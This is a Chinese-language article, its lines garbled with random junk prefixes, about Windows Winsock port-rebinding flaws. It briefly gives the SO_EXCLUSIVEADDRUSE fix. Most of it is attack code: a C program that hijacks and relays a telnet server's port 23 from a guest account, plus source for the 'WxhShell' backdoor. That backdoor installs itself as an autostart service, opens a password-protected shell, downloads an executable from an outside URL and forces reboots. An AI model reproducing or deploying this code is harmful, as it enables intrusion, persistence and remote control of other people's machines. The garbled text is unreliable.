在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
E!AE4B1bd s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
%K
QQ,{ b |)G<,FJQE_ saddr.sin_family = AF_INET;
a}uSm/S {BHO/q3 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
KGpA2Nx Lh<).<S bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
KY N0 {}x^ri~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
lNBL4yM Tb-F]lg$ 这意味着什么?意味着可以进行如下的攻击:
,?XCyHSgWW 2Hv+W-6v 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ctJE+1#PH &t-kpA|EG 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
]0\MmAJRn x3krbUlx 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
xP,hTE dq[xwRU1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
n-OL0$Xu \^%}M!tan 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
D#)b+7N- $tS}LN_!
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
]$_NyAoBb k#rBB 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
!v0LBe4 fd2T=fz- #include
= 9]~yt #include
6K<K #include
eGHaY4| #include
O8.5}>gDn. DWORD WINAPI ClientThread(LPVOID lpParam);
L,@lp int main()
?K\axf>F {
jalg5`PU0 WORD wVersionRequested;
VU d\QR- DWORD ret;
Wiu"k%Qsh WSADATA wsaData;
I.k
*GW BOOL val;
:4%k9BGAj" SOCKADDR_IN saddr;
k)Qtfj}uij SOCKADDR_IN scaddr;
^ovR7+V int err;
\K!VNB>h SOCKET s;
8pgEix/M5o SOCKET sc;
f`=-US int caddsize;
ox (%5c)b| HANDLE mt;
d{7+w/Zi DWORD tid;
<3hRyG@vB wVersionRequested = MAKEWORD( 2, 2 );
N'`A?&2ru err = WSAStartup( wVersionRequested, &wsaData );
)%@J=&G8TT if ( err != 0 ) {
t1y4 7fX6 printf("error!WSAStartup failed!\n");
]wG{!0pl return -1;
*ppffz }
Tyf`j,= saddr.sin_family = AF_INET;
%F4%H|G 'u b@]ru| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
X(-4<B +&2%+[nBZ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
?m?::R H saddr.sin_port = htons(23);
d4c8~L
H- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8eHyL {
}@+:\ printf("error!socket failed!\n");
BKjS ,2C return -1;
9c :cw }
[e}]}t8m val = TRUE;
@7j AL - //SO_REUSEADDR选项就是可以实现端口重绑定的
K}MK<2vU if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
h|{]B,.Lh {
JHTSUq printf("error!setsockopt failed!\n");
Q| ?L*Pq2I return -1;
l3I:Q^x@ }
zsyIV!( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
@8r pD"x //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
6.nCV0xA //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
'F0e(He@, ;P%1j| 7 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
)"aV* " {
9H`XeQ. ret=GetLastError();
R3&Iu=g printf("error!bind failed!\n");
WuUk9_g return -1;
'=8d?aeF }
ofw3S|F6 listen(s,2);
LR.<&m%~. while(1)
CSq4x5!_7> {
O so#+ caddsize = sizeof(scaddr);
>rKIG~P_ //接受连接请求
XXcl{1Kp!@ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
MPg)=LI if(sc!=INVALID_SOCKET)
Y;^l%ePuW {
?:I* 8Fj mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
EGU
0)< if(mt==NULL)
a>I+]`g {
0e ~JMUb printf("Thread Creat Failed!\n");
:Cs4NF break;
'UX!*5k<: }
Y}|X|!0x }
ca*DZG/ CloseHandle(mt);
tKx~1- }
F]]]y5t closesocket(s);
&n}f? WSACleanup();
%JD,$pPs return 0;
VfC <WVYiZ }
}DfshZ0QM DWORD WINAPI ClientThread(LPVOID lpParam)
zC@o {
&LZn
FR SOCKET ss = (SOCKET)lpParam;
`FDiX7M SOCKET sc;
f:|1_ j unsigned char buf[4096];
u^bidd6JRn SOCKADDR_IN saddr;
cyv`B3} long num;
O{G?;H$ DWORD val;
)SRefW.v DWORD ret;
bj0G5dc= //如果是隐藏端口应用的话,可以在此处加一些判断
9gEwh< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
\[_t]'p saddr.sin_family = AF_INET;
#;qdY[v saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
>#~& -3 saddr.sin_port = htons(23);
A) %/[GD2 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
xU>WEm2 {
i8[t=6Rm@ printf("error!socket failed!\n");
#9}D4i.`} return -1;
X0H!/SlS }
2%@4] val = 100;
mD0f<gJ1 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
," Wr" {
aS{n8P6vW ret = GetLastError();
wh\}d4gN return -1;
3kIN~/<R+7 }
ZaDyg"Tw+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|\<`Ib4j {
~u!|qM ret = GetLastError();
W*4-.*U8a return -1;
c~$)UND^ }
)}]g]
g if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{M$1N5Eh {
goRL1L,5 printf("error!socket connect failed!\n");
+0%w ;'9z closesocket(sc);
7 60Y$/Wz closesocket(ss);
L9\1+rq return -1;
yw[g!W }
MS>Ge0P("~ while(1)
='sHj4hU {
,I$`-$_' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ooL!TSGD //如果是嗅探内容的话,可以再此处进行内容分析和记录
SSg8}m5)Q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
88gM?G _X num = recv(ss,buf,4096,0);
i2A81>68< if(num>0)
VimE@ Hz send(sc,buf,num,0);
Mzw<{*:r else if(num==0)
uR4z&y break;
V/LLaZTE num = recv(sc,buf,4096,0);
O67W&nz if(num>0)
mh{d8<Q2 send(ss,buf,num,0);
qI9z;_,gNz else if(num==0)
B=T'5& break;
Bz-c$me1 }
D~fl JR closesocket(ss);
FZ<gpIv!NS closesocket(sc);
)0W{]2 return 0 ;
f#"J]p }
Q&ptc>{bH6 y`5
9A #ut ==========================================================
*NaB#;+|k` xY8$I6 下边附上一个代码,,WXhSHELL
vY}g<* w"|L:8 ==========================================================
k[YS8g-Q NC`aP0S #include "stdafx.h"
|?xN\O^#} Zw9FJ/Zn@ #include <stdio.h>
HTS0s\R$ #include <string.h>
7wqK>Y1a #include <windows.h>
~2N"#b&J #include <winsock2.h>
({)+3]x #include <winsvc.h>
)
7@ `ut #include <urlmon.h>
l0m-$/ o5GcpbZ3k #pragma comment (lib, "Ws2_32.lib")
~P,lz!he_ #pragma comment (lib, "urlmon.lib")
MYvY]Jx3 @%uUiP0 #define MAX_USER 100 // 最大客户端连接数
MK~ 8}x 2K #define BUF_SOCK 200 // sock buffer
h"Q8b}$^) #define KEY_BUFF 255 // 输入 buffer
69NeQ$](
A,<E\ #define REBOOT 0 // 重启
2- h{N #define SHUTDOWN 1 // 关机
sb*G!8j P4'Q/Sj #define DEF_PORT 5000 // 监听端口
]:- mbgW SHgN~Um #define REG_LEN 16 // 注册表键长度
pE0Sw}A:9 #define SVC_LEN 80 // NT服务名长度
#p&qUw b. '-?Nn // 从dll定义API
4E+e}\r:6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
yx[/|nZDC4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
AV]2euyn typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
ec;o\erPG typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
pah'>dAL \*?~Yj# // wxhshell配置信息
]s'as9s9 struct WSCFG {
; DR$iH-F int ws_port; // 监听端口
,ZNq,$j char ws_passstr[REG_LEN]; // 口令
vA{-{Q int ws_autoins; // 安装标记, 1=yes 0=no
?l{nk5,?-Y char ws_regname[REG_LEN]; // 注册表键名
M|h3Wt~7 char ws_svcname[REG_LEN]; // 服务名
PC8Q"O char ws_svcdisp[SVC_LEN]; // 服务显示名
cuITY^6 char ws_svcdesc[SVC_LEN]; // 服务描述信息
=UQ3HQD char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+ &Eqk int ws_downexe; // 下载执行标记, 1=yes 0=no
Zu[su>\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
\M^bD4';> char ws_filenam[SVC_LEN]; // 下载后保存的文件名
U8?mc {VRf0c };
{!L~@r Q)h(nbbVak // default Wxhshell configuration
#;yZ struct WSCFG wscfg={DEF_PORT,
1))8
A@, "xuhuanlingzhe",
Ti5-6%~& 1,
S=5o
< 1 "Wxhshell",
6cXyJW "Wxhshell",
Jnov<+ "WxhShell Service",
V 5mTP' "Wrsky Windows CmdShell Service",
CD~.z7,LC "Please Input Your Password: ",
}Sv:`9= 1,
>y3=| "
http://www.wrsky.com/wxhshell.exe",
0GeTSFj "Wxhshell.exe"
7{*>agQh };
#*Ctwl,T ;.980+i1 // 消息定义模块
li.;IWb0+) char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
} q8ASYNc char *msg_ws_prompt="\n\r? for help\n\r#>";
n:!_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
O\r0bUPE char *msg_ws_ext="\n\rExit.";
sXPe/fWo char *msg_ws_end="\n\rQuit.";
.ioEIs g char *msg_ws_boot="\n\rReboot...";
rx|pOz,: char *msg_ws_poff="\n\rShutdown...";
sPIn|d char *msg_ws_down="\n\rSave to ";
'H;*W |:-] xA*<0O\V char *msg_ws_err="\n\rErr!";
G 3ptx!
D char *msg_ws_ok="\n\rOK!";
JWxwJex NzvXN1_% char ExeFile[MAX_PATH];
&6VnySE? int nUser = 0;
YT,{E,U; HANDLE handles[MAX_USER];
wibNQ`4k int OsIsNt;
D&y7-/ ;2QP7PrSY SERVICE_STATUS serviceStatus;
M_DwUS1? SERVICE_STATUS_HANDLE hServiceStatusHandle;
eaU eHUOU>&P] // 函数声明
Z%UP6% int Install(void);
[nq@m c~< int Uninstall(void);
Eu3E-K@y int DownloadFile(char *sURL, SOCKET wsh);
xAm6BB
c int Boot(int flag);
C3g_!dUs void HideProc(void);
)^hbsMhO int GetOsVer(void);
fk-RV>yr int Wxhshell(SOCKET wsl);
JBZ@'8eqi] void TalkWithClient(void *cs);
-KbYOb int CmdShell(SOCKET sock);
JucY[`|JV int StartFromService(void);
jPkn[W#
6 int StartWxhshell(LPSTR lpCmdLine);
<#4h}_xA% )4 ;`^]F VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
$*m-R*kt VOID WINAPI NTServiceHandler( DWORD fdwControl );
lyhiFkO
iH R4d=S4i // 数据结构和表定义
(QB2T2x SERVICE_TABLE_ENTRY DispatchTable[] =
.=;
; {
(/]
J3 {wscfg.ws_svcname, NTServiceMain},
K*d Cc}:` {NULL, NULL}
LDa1X2N };
>yDZw!C TA~{1_l // 自我安装
mX|ojZ int Install(void)
a8Wwq?@ {
pfI&E#:5 char svExeFile[MAX_PATH];
-UT}/:a HKEY key;
!}$$: strcpy(svExeFile,ExeFile);
sDV Q#}a hE-M$LmN@ // 如果是win9x系统,修改注册表设为自启动
7 X4LJf if(!OsIsNt) {
1h5 Akq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
32
=z)]FZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
e96k{C`j0 RegCloseKey(key);
5@W j>:w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
x,V r=FB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|wj?ed$
f RegCloseKey(key);
/Ci<xmP return 0;
i}?>g -( }
Kc(FX%3LU }
?
=+WRjF }
syK^<xa else {
Z/J y'$x &+R?_Ooibk // 如果是NT以上系统,安装为系统服务
D1;QC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
:Ux_qB if (schSCManager!=0)
+nGAz{&@r% {
GPkpXVm SC_HANDLE schService = CreateService
0ZO2#>gh$ (
v.5+7,4 schSCManager,
<0?W{3NqI wscfg.ws_svcname,
xN%K^Tree wscfg.ws_svcdisp,
_J [P[(ab SERVICE_ALL_ACCESS,
po7q mLq SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Q NVa?'0"Y SERVICE_AUTO_START,
o _H`o&xr SERVICE_ERROR_NORMAL,
S21,VpW\ svExeFile,
~u+9J} NULL,
VLN_w$iEq NULL,
gPc=2 NULL,
7=, ; h NULL,
&
ZB NULL
2GStN74X r );
3oG,E;( if (schService!=0)
>-{Hyx {
\D&KC,i5f CloseServiceHandle(schService);
xn|(9#1o CloseServiceHandle(schSCManager);
u>/ TE strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
5NLDYi@3 strcat(svExeFile,wscfg.ws_svcname);
;6hOx(>`= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
,,|^%Ct'] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
'[O;zJN; RegCloseKey(key);
z&^&K} return 0;
6\S~P/PkE }
;ovP$ vl> }
#LN`X8Wz' CloseServiceHandle(schSCManager);
&
"B=/-( }
S`?!G&[!> }
kz7(Z'pw 0Fr?^3h return 1;
]jRfH(i }
Q)z8PQl O ]"1DGg \A // 自我卸载
VOh4#%Vj int Uninstall(void)
7})[lL`\s {
$
o#V# HKEY key;
jm r"D> ;P&OX5~V if(!OsIsNt) {
{T ~#?v( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
eGbGw RegDeleteValue(key,wscfg.ws_regname);
m<2M4u RegCloseKey(key);
!_Z&a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^L&iR0 RegDeleteValue(key,wscfg.ws_regname);
F^fdIZx RegCloseKey(key);
_2 osV[e return 0;
Xm2z}X(% }
Ok\7y-w^ }
1 I",L&S1 }
%C_HXr@ else {
Yk Qd
t9IW/Q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
|)/aGZ+ if (schSCManager!=0)
KdbHyg<4 {
9490o:s SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
&~U ] ~;@ if (schService!=0)
8Kk(8a&v {
P J[`| if(DeleteService(schService)!=0) {
;@E$}*3[>V CloseServiceHandle(schService);
0NX,QD CloseServiceHandle(schSCManager);
?p8_AL'RS return 0;
pIKPXqA }
r^ ZEImjc CloseServiceHandle(schService);
!brf(-sr) }
uOdl*| T? CloseServiceHandle(schSCManager);
R]*K:~DM }
x;<W&s}( }
[0D.K}7| >Wg hn:^ return 1;
k~
/Nv=D }
>`ZyG5 \v)+.m?n // 从指定url下载文件
8E]F$.6U int DownloadFile(char *sURL, SOCKET wsh)
XACm[NY_ {
s.NGA.]$ HRESULT hr;
p0<\G char seps[]= "/";
0}quG^%_ char *token;
e'D&8z_; char *file;
O]1(FWYy char myURL[MAX_PATH];
%;YHt=(1*X char myFILE[MAX_PATH];
y;@:ulv[ N7R!C)!IL strcpy(myURL,sURL);
!H>R%g#28_ token=strtok(myURL,seps);
y>e.~5; while(token!=NULL)
LOV)3{m {
2WxQ(:d= file=token;
$43qME token=strtok(NULL,seps);
3fQuoQuD"} }
pgZXJ 0T5L_%c GetCurrentDirectory(MAX_PATH,myFILE);
OMg<V strcat(myFILE, "\\");
V-L"gnd&2 strcat(myFILE, file);
ThbGQ"/ send(wsh,myFILE,strlen(myFILE),0);
v^iL5y! send(wsh,"...",3,0);
m#Z#
.j_2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Px`!A EFd[ if(hr==S_OK)
j+v=Ul|l return 0;
HcSXsF else
O~K>4ax return 1;
(|1A?@sJ#h O2dW6bt }
hJ~Uf5Q Jd^,] // 系统电源模块
>y:,9; int Boot(int flag)
q 2:6QM& {
&t:Gx<] HANDLE hToken;
qfRH5)k TOKEN_PRIVILEGES tkp;
t$#jL5 HLaRGN3, if(OsIsNt) {
p/@smke OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
d8=x0~7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
@>>~CZ`l tkp.PrivilegeCount = 1;
(tw)nF tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
r{I%
\R!@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
|kV*Jc k if(flag==REBOOT) {
} .y
1;. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
c?&X?< return 0;
<oA7'|Bu< }
I5n^,@md else {
T\j{Bi5 \J if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
KP5C}ZK+s return 0;
%Ax3;g# }
?FF4zI~ }
v4c[(& else {
(~wqa 3 if(flag==REBOOT) {
Rww{:R if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
o{q{!7DH@ return 0;
?3zc=J"t }
8sM|%<$=j else {
n+q!l&& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
z Q`jP$2 return 0;
^^as'Dk }
f"SD/]q- }
fc-iAj :^WKT return 1;
,J^b0@S }
VZymM<